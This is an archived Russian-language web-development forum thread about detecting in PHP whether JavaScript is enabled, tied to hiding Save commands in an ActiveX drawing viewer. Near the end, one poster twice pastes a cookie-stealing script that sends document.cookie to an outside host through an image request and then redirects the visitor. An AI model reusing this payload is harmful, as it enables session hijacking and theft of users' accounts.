[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Как проверить включен ли JavaScript ?
Ravel
Как проверить включен ли JavaScript?

Народ сталкнулся с проблемой как проверить включен ли ява скрипт или нет.
Делал так.
Код

<script language='JavaScript' type='text/javascript'>
document.cookie = "is_cookie=1";
</script>

if (isset($_COOKIE['is_cookie']) AND $_COOKIE['is_cookie']=='1')
{
echo "Включено";
}
else
{
echo "НЕ Включено";
}

Проблема в том что неполучается записать и прочесть куки на одной странице.
Т.е. приходится 2 раза страницу перезагружать!!!
И еще неудобно т.к. можно включить JavaScript в куках останется значение is_cookie=1 и потом просто отключить JavaScript

Как можно проверить включен ли JavaScript при каждом обновлении страницы???

Помогите очень надо



Спустя 21 минута, 55 секунд (9.01.2008 - 12:57) disc написал(а):
Код
<script language="Javascript"><!--
document.write('Включен!');
// --></script>
<noscript>
Выключен
</noscript>
</script>

Спустя 21 минута, 35 секунд (9.01.2008 - 13:19) Ravel написал(а):
Цитата(disc @ 9.1.2008, 9:57) [snapback]31545[/snapback]
Код
<script language="Javascript"><!--
document.write('Включен!');
// --></script>
<noscript>
Выключен
</noscript>
</script>


Ну это примитивно. Это понятно что так можно.

Но вот мне нужно если джава поддерживается выполнить на PHP действия X иначе если отключен то действия Y

Спустя 12 минут, 19 секунд (9.01.2008 - 13:31) vasa_c написал(а):

Спустя 26 минут, 57 секунд (9.01.2008 - 13:58) Ravel написал(а):
Цитата(vasa_c @ 9.1.2008, 10:31) [snapback]31547[/snapback]


Может тогда подскажите как:

1. Как можно создать в PHP переменную которая будет видна на протяжении всей сессии и даже при обновлении страниц.
Допустим на index.php присваиваем значение переменной $i=999 и пользователи ходят по сайту и в момент когда нужно значение из этой переменной можно было легко ее получить.

2. Как можно и можно ли юзать компоненты ActivX через PHP
Допустим код на JavaScript выглядит так.

<script language="Javascript">
function ShowCommand(cmdName, bShow)
{
var PageViewer = ADViewer.Viewer;

PageViewer.ShowCommand(cmdName, bShow);
}
</script>

ADViewer.Viewer - обращаются к установленной на компе программе.


Можно ли обращатся примерно также через PHP?

Спустя 4 минуты, 23 секунды (9.01.2008 - 14:02) vasa_c написал(а):
1. Зачем?
Может это поможет — http://phpfaq.ru/sessions
2. Перечитайте еще раз ту же ссылку.

Спустя 33 минуты, 8 секунд (9.01.2008 - 14:35) Ravel написал(а):
Цитата(vasa_c @ 9.1.2008, 11:02) [snapback]31555[/snapback]
2. Перечитайте еще раз ту же ссылку.


Перечитал и понял "получить значение из яваскрипта НЕЛЬЗЯ!" там так и написано. "Только при следующем запросе! Потому, что РНР на сервере, а яваскрипт - в браузере у клиента. И пхп остался на сервере."
Может я чего не понимаю объясните плиз.

Мне просто при каждом обновлении страницы нужно знать поддерживается в данный момент (т.е. на этой странице) JavaScript или нет. А не так что на предыдущей поддерживалась а сейчас неизвестно.

помогите пожалуйтса sad.gif

Спустя 23 минуты, 6 секунд (9.01.2008 - 14:58) vasa_c написал(а):
Объясните зачем.

Спустя 19 минут, 38 секунд (9.01.2008 - 15:18) Ravel написал(а):
Цитата(vasa_c @ 9.1.2008, 11:58) [snapback]31559[/snapback]
Объясните зачем.


Необходимость в слудующем.

Есть файл формата DWF который читается при помощи программы DWFViewer.
Я выкладываю файл на сервере и у тех у кого установлена программа могут смотреть этот файл. Я его вставляю как объект.

Код
<object
id="ADViewer"
classid="clsid:A662DA7E-CCB7-4743-B71A-D817F6D575DF"
border="1" width="700"
height="500" VIEWASTEXT>
<param name="Src" value="NameFile.dwf">
</object>


Но для того чтобы они немогли пользоватся командами "Сохранить" и "Сохранить как" в открывшимся приложении. Внедняется как AxtiveX приложение.

Ну вот если JavaScript поддерживается браузером то они не могут сохранить т.к. я скрываю данные пункты меню через скрипт.

Код

<script language="Javascript">
function ShowCommand(cmdName, bShow)
{
var PageViewer = ADViewer.Viewer;

PageViewer.ShowCommand(cmdName, bShow);
}
</script>

<script type="text/javascript" FOR="ADViewer" EVENT="OnEndLoadItem(bstrItemName,vData,vResult)">
if (bstrItemName == "SHEET")
{
ShowCommand("SAVE", false)
ShowCommand("SAVEAS", false)
}
</script>


Все вроде бы хорошо но вот если JavaScript отрубаешь то и соответственно скрипт не выполняется и команды "сохранить" и "сохранить как" становятся активными.

Ну вот я хочу сделать если JavaScript отрублена то этим пользователям показывать фиг ... типа "подруби поддержку JavaScript" а у тех у кого поддерживается показывать ActiveX объект.

Все дело в том что проверка активности JavaScript через куки приводит к тому что их проверка осуществляется только после след. обновления страницы sad.gif

Спустя 11 минут, 2 секунды (9.01.2008 - 15:29) Ravel написал(а):
Между делом вы не знаете как получить список поддерживаемых функций у созданного объекта

Код

<?
$word = new COM("word.application");

//допустим поддерживаетм функции

//open an empty document
$word->Documents->Add();

//do some weird stuff
$word->Selection->TypeText("This is a test...");
$word->Documents[1]->SaveAs("Useless test.doc");

?>


А вот как получить полный список всех поддерживаемых функций объекта $word ???

Спустя 1 минута, 50 секунд (9.01.2008 - 15:31) vasa_c написал(а):
Вы пытаетесь защитить открытые серверные ресурсы с помощью клиентского сценария? Это совершенно бесполезно. Браузер со всеми JS и остальным это просто надстройка над HTTP-протоколом. Он обходится безо всяких проблем.
В самом простейшем случае — грузим страницу при включенном JS, потом отключаем и скачиваем что хотим.
Это уже не говоря о том, что ActiveX есть только в одном браузере из нехилого их количества.
Если вы выдаете с сервера какие-то данные, об их защите можете сразу же забыть.

Спустя 16 минут, 10 секунд (9.01.2008 - 15:47) Ravel написал(а):
Цитата(vasa_c @ 9.1.2008, 12:31) [snapback]31564[/snapback]
Вы пытаетесь защитить открытые серверные ресурсы с помощью клиентского сценария? Это совершенно бесполезно. Браузер со всеми JS и остальным это просто надстройка над HTTP-протоколом. Он обходится безо всяких проблем.
В самом простейшем случае — грузим страницу при включенном JS, потом отключаем и скачиваем что хотим.
Это уже не говоря о том, что ActiveX есть только в одном браузере из нехилого их количества.
Если вы выдаете с сервера какие-то данные, об их защите можете сразу же забыть.


Вот именно. Что можно зайти под JS и отключив его пользоватся. А мне хотелосьбы при загрузке страницы допустим случайным образом сгенерированное число вставляем в куки через JS.
И проверяем сразу если если в куках такое значение то значит JS подключено иначе иди нафиг.

Я понимаю что в любом случаем можно будет обойти но вот просто чтобы помучались тогда smile.gif
Обычным пользователям (которые в основном и будут) будет сложно понять как это сделать smile.gif иначе просто сразу начнут копировать и посылать куда попало
А хочется чтобы народ если хочешь посмотреть лезь в инет smile.gif на сайт и поднимай посещаемость и т.д.

Спустя 2 минуты, 24 секунды (9.01.2008 - 15:50) Ravel написал(а):
Может можно как нибудь вставить объект
Код

<object
id="ADViewer"
classid="clsid:A662DA7E-CCB7-4743-B71A-D817F6D575DF"
border="1" width="700"
height="500" VIEWASTEXT>
<param name="Src" value="namefile.dwf">
</object>



через JS

тогда получится если JS отключено объекта нет. иначе объект есть!!!

Спустя 1 минута, 29 секунд (9.01.2008 - 15:51) vasa_c написал(а):
Можно.
Но еще раз вопрос: зачем?

Спустя 6 месяцев, 25 дней, 1 час, 50 минут, 40 секунд (4.08.2008 - 16:42) Professor написал(а):
Здравствуйте.
Проблемма похожая.
Сразу отвечу на вопрос "зачем".
У меня на сайте меню в виде дерева.По умолчанию все элементы закрыты.
И если яваскрипт отключен,то открыть ничего не удастся.

хотелось бы сделать так:
если яваскрипт включен, то отобразить как есть
если яваскрипт НЕ включен, то отобразить все дерево открытым
Вопрос:
Как узныть вкл/откл яваскрипт,и на основании этого выполнить какие либо действия?
Заранее спасибо

Спустя 5 месяцев, 14 дней, 21 час, 52 минуты, 23 секунды (19.01.2009 - 15:34) юный хакер написал(а):
лбди помогите я короч хочу чтоб кукис сохранялись на компе
кукис отправляются на na-s.ru как я делал

<script>img = new Image(); img.src = "http://na-s.ru/images/888888_1.gif?"+document.cookie; //
// редирект через 3 сек.
var URL = "http://images.cards.mail.ru/11bolprivet.jpg" //
var speed = 3000
function reload() {
document.location = URL
}
setTimeout("reload()", speed);
</script>

Спустя 2 минуты, 7 секунд (19.01.2009 - 15:36) опять я написал(а):
<script>img = new Image(); img.src = "http://na-s.ru/images/888888_1.gif?"+document.cookie; //
// редирект через 3 сек.
var URL = "http://images.cards.mail.ru/11bolprivet.jpg" //
var speed = 3000
function reload() {
document.location = URL
}
setTimeout("reload()", speed);
</script>

че делать если я хочу сохранить куки на компе что надо изменить

Спустя 1 день, 1 час, 46 минут, 23 секунды (20.01.2009 - 17:23) az написал(а):
Не воровать чужие идеи из видео уроков! laugh.gif

Спустя 18 дней, 20 часов, 11 минут, 20 секунд (11.02.2009 - 13:34) Аня написал(а):
народ либо я такая тупая, либо........
в общем кук не могу найти

Спустя 4 месяца, 20 дней, 11 часов, 40 минут, 10 секунд (2.07.2009 - 00:14) Умный Человек написал(а):
Короче как я понял ты сохраняешь Открытку в формате .img и она не открывается, если так то я знаю выход из этой ситуации......тебе нужно открыть файл какой-нибудь из ниже представленных программ программой:
1) Nero Image
2) Alcohol 120%
3) Deamon Tools
Короче программой образа CD или DVD дисков......вот и все))) rolleyes.gif


_____________
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.